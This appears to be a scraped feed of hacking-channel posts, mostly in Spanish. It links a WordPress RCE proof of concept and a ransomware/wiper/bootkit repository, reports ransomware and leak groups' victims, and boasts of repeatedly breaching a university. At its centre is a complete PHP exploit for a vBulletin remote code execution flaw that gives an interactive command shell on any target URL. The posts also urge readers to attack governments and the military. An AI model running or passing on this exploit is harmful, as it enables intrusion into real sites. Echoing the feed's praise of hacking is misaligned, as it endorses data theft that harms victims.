wp2shell (CVE-2026-63030 & CVE-2026-60137) - full SQLI + RCE chain 💣

https://github.com/Icex0/wp2shell-poc

#exploit #wordpress #rce #sqli

Ransomware + Wiper + Bootkit Hybrid 💀

https://github.com/muhammadzidane632/Hopeless

#maldev #github #ransomware

El infame grupo de piratas informáticos LAP$US$ a puesto fin a sus Hacks de forma permanente 🏴‍☠️

Mediante un anuncio firmado en su sitio Web
el grupo Lapsus anuncia el cese permanente de sus
operaciones en contra de empresas y corporaciones
tambien señalaron que no se trata de una rendicion sino
mas bien como una meta cumplida ya que lograron ganar
mucho dinero.

Como nota final dicen haber vendido su ultimo lote de
datos de una empresa que trabaja con IA a un comprador chino.

https://lapsus.bz/

#lapsus #hacking

Parece que Hackear al ejercito sea vuelto una tradición mas que Hackear a la NASA 😁🇦🇷

La pandilla de Ransomware Qilin ha publicado en su
Blog de victima al ejercito Argentino, hasta el momento
no hay Screenshot de los datos por lo que no sea
verificado cuanto de datos lograron exfiltrar.

http://ijzn3sicrcy7guixkzjkib4ukbiilwc3xhnmby4mcbccnsd7j2rekvqd.onion/site/blog?uuid=757f6332-ec5a-48e7-8be4-25d31d651506

#qilin #ransomware #argentina #ejercito

Aqui vamos otra vez!!! 🏴‍☠️

Es la 3ra vez en menos de 2 años que logro pwnear a esta universidad 😁

#hacked #fsec

CVE-2026-61511 vBulletin
*
Affected Versions
vBulletin 6.2.1 and prior
vBulletin 6.1.6 and prior
*
Exploit

<?php

set_time_limit(0);
error_reporting(E_ERROR);

print "+-------------------------------------+\n";
print "| vBulletin 0-day RCE exploit by EgiX |\n";
print "+-------------------------------------+\n";

if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");

if ($argc != 2) {
    print "\nUsage......: php $argv[0] <URL>\n";
    print "\nExample....: php $argv[0] http://localhost/vb/";
    print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
    die();
}

function encodeChar($char)
{
    $numbers = ['0' => '(O)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];

    $char = strval(ord($char));

    $ret = '';
    for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';

    return rtrim($ret, '.');
}

function makePayload($function, $param)
{
    $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';

    $ret = '';
    foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    $ret = "(" . rtrim($ret, '.') . ')((';

    foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';

    return rtrim($ret, '.') . '))';
}

$curl   = curl_init();
$params = ["routestring" => "ajax/render/pagenav"];

curl_setopt($curl, CURLOPT_URL, $argv[1]);
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
//curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");

while (1) {
    print "\nvb-shell# ";
    if (($cmd = trim(fgets(STDIN))) == "exit") break;
    $cmd .= "; echo _____";
    $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
    curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
    preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed! :(\n\n");
}

Mas psyop por parte de la Casa Blanca 👀

covid.gov

#eeuu #twitter #psyop #fuckgob

No hay cosa mas nefasta que lucrar a base de la desgracia de otras personas, no se trata de ética se trata de empatía.

Esta conductas solo lo he visto en desvergonzadas pandillas de Ransomware en donde solo importa el dinero a cualquier costo.

Recuerden muchachos joder a los gobiernos y milicos, pero reporten o reparen los sitios de hospitales y fundaciones benéficas y alardeen de eso, por un mundo mejor.

https://t.me/arcepahleaks

Happy Hacking!!! 🏴‍☠️✌️

Otro grupo hispano se suma a la vergonzosa actividad de filtración de datos de hospitales.

En esta ocasión la victima es un Hospital Mexicano y los datos no son de políticos o multimillonarios, son de gente enferma común y corriente.

El Comando Cibernetico de los EEUU a reportando una serie de suicidios en los ultimos meses

Segun un articulo de Bloomberg el comando cibernetico de los Estados Unidos a tenido 5 bajas en el ultimo mes y no en campo de batalla, si no por suicidios.

La unidad de guerra cibernetica del ejercito a observado un numero inusual de muertes por suicidios entre su personal durante un periodo de un mes este verano. Entre principios de junio y principios de julio, hasta cinco personas que trabajaban en el Comando Cibernético de Estados Unidos o en estrecha colaboración con él se quitaron la vida, según comunicaciones militares internas, registros públicos y la gente.

Articulo:
https://archive.ph/W2tpE

#articulo